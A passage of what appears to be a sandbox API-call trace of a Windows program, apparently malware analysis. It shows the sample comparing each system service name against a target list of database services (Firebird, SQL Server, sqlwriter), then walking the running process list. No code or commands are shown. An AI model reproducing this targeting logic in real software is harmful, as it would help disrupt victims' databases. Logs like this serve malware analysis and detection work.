lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0126.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0126.030] lstrlenW (lpString="Dhcp") returned 4 [0126.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0126.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0126.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0126.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0126.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0126.030] lstrlenW (lpString="Dnscache") returned 8 [0126.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0126.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0126.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0126.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0126.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0126.031] lstrlenW (lpString="DPS") returned 3 [0126.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0126.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0126.031] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0126.031] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0126.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0126.031] lstrlenW (lpString="DusmSvc") returned 7 [0126.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0126.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0126.031] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0126.031] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0126.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0126.031] lstrlenW (lpString="EventLog") returned 8 [0126.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0126.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0126.031] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0126.031] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0126.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0126.031] lstrlenW (lpString="EventSystem") returned 11 [0126.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0126.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0126.031] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0126.031] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0126.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0126.031] lstrlenW (lpString="FontCache") returned 9 [0126.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0126.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0126.031] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0126.031] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0126.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0126.031] lstrlenW (lpString="gpsvc") returned 5 [0126.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0126.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0126.031] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0126.031] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0126.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0126.031] lstrlenW (lpString="iphlpsvc") returned 8 [0126.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0126.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0126.032] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0126.032] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0126.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0126.032] lstrlenW (lpString="KeyIso") returned 6 [0126.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0126.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0126.032] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0126.032] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0126.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0126.032] lstrlenW (lpString="LanmanServer") returned 12 [0126.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0126.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0126.032] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0126.032] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0126.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0126.032] lstrlenW (lpString="LanmanWorkstation") returned 17 [0126.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0126.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0126.032] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0126.032] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0126.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0126.032] lstrlenW (lpString="lfsvc") returned 5 [0126.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0126.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0126.032] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0126.032] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0126.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0126.032] lstrlenW (lpString="lmhosts") returned 7 [0126.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0126.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0126.033] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0126.033] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0126.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0126.033] lstrlenW (lpString="LSM") returned 3 [0126.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0126.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0126.033] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0126.033] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0126.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0126.033] lstrlenW (lpString="MpsSvc") returned 6 [0126.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0126.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0126.033] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0126.033] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0126.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0126.033] lstrlenW (lpString="NcbService") returned 10 [0126.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0126.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0126.033] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0126.033] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0126.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0126.033] lstrlenW (lpString="netprofm") returned 8 [0126.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0126.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0126.033] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0126.033] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0126.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0126.033] lstrlenW (lpString="NgcSvc") returned 6 [0126.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0126.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0126.033] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0126.033] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0126.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0126.033] lstrlenW (lpString="NlaSvc") returned 6 [0126.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0126.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0126.033] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0126.033] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0126.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0126.033] lstrlenW (lpString="nsi") returned 3 [0126.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0126.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0126.034] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0126.034] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0126.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0126.034] lstrlenW (lpString="PcaSvc") returned 6 [0126.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0126.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0126.034] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0126.034] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0126.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0126.034] lstrlenW (lpString="PlugPlay") returned 8 [0126.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0126.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0126.034] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0126.034] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0126.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0126.034] lstrlenW (lpString="Power") returned 5 [0126.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0126.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0126.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0126.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0126.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0126.034] lstrlenW (lpString="ProfSvc") returned 7 [0126.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0126.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0126.034] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0126.034] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0126.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0126.034] lstrlenW (lpString="RpcEptMapper") returned 12 [0126.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0126.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0126.034] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0126.034] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0126.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0126.034] lstrlenW (lpString="RpcSs") returned 5 [0126.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0126.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0126.034] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0126.034] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0126.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0126.034] lstrlenW (lpString="SamSs") returned 5 [0126.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0126.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0126.035] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0126.035] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0126.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0126.035] lstrlenW (lpString="Schedule") returned 8 [0126.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0126.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0126.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0126.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0126.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0126.035] lstrlenW (lpString="SecurityHealthService") returned 21 [0126.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0126.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0126.035] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0126.035] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0126.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0126.035] lstrlenW (lpString="SENS") returned 4 [0126.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0126.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0126.035] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0126.035] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0126.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0126.035] lstrlenW (lpString="ShellHWDetection") returned 16 [0126.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0126.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0126.035] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0126.035] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0126.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0126.035] lstrlenW (lpString="Spooler") returned 7 [0126.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0126.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0126.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0126.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0126.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0126.035] lstrlenW (lpString="StateRepository") returned 15 [0126.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0126.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0126.035] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0126.035] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0126.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0126.036] lstrlenW (lpString="SysMain") returned 7 [0126.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0126.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0126.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0126.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0126.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0126.036] lstrlenW (lpString="SystemEventsBroker") returned 18 [0126.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0126.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0126.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0126.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0126.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0126.036] lstrlenW (lpString="Themes") returned 6 [0126.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0126.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0126.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0126.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0126.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0126.036] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0126.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0126.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0126.036] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0126.036] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0126.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0126.036] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0126.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0126.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0126.036] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0126.036] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0126.036] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56ead0 | out: hHeap=0x510000) returned 1 [0126.036] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0126.041] Process32FirstW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.041] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0126.042] lstrlenW (lpString="System") returned 6 [0126.042] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0126.042] lstrlenW (lpString="smss.exe") returned 8 [0126.042] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.043] lstrlenW (lpString="csrss.exe") returned 9 [0126.043] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0126.043] lstrlenW (lpString="wininit.exe") returned 11 [0126.043] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.044] lstrlenW (lpString="csrss.exe") returned 9 [0126.044] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0126.044] lstrlenW (lpString="winlogon.exe") returned 12 [0126.044] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0126.045] lstrlenW (lpString="services.exe") returned 12 [0126.045] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0126.045] lstrlenW (lpString="lsass.exe") returned 9 [0126.045] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.046] lstrlenW (lpString="svchost.exe") returned 11 [0126.046] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0126.046] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0126.046] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0126.047] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0126.047] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.220] lstrlenW (lpString="svchost.exe") returned 11 [0126.220] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0126.221] lstrlenW (lpString="dwm.exe") returned 7 [0126.221] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.222] lstrlenW (lpString="svchost.exe") returned 11 [0126.222] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.222] lstrlenW (lpString="svchost.exe") returned 11 [0126.222] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.223] lstrlenW (lpString="svchost.exe") returned 11 [0126.223] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.224] lstrlenW (lpString="svchost.exe") returned 11 [0126.224] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.225] lstrlenW (lpString="svchost.exe") returned 11 [0126.225] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.225] lstrlenW (lpString="svchost.exe") returned 11 [0126.225] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.226] lstrlenW (lpString="svchost.exe") returned 11 [0126.226] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, 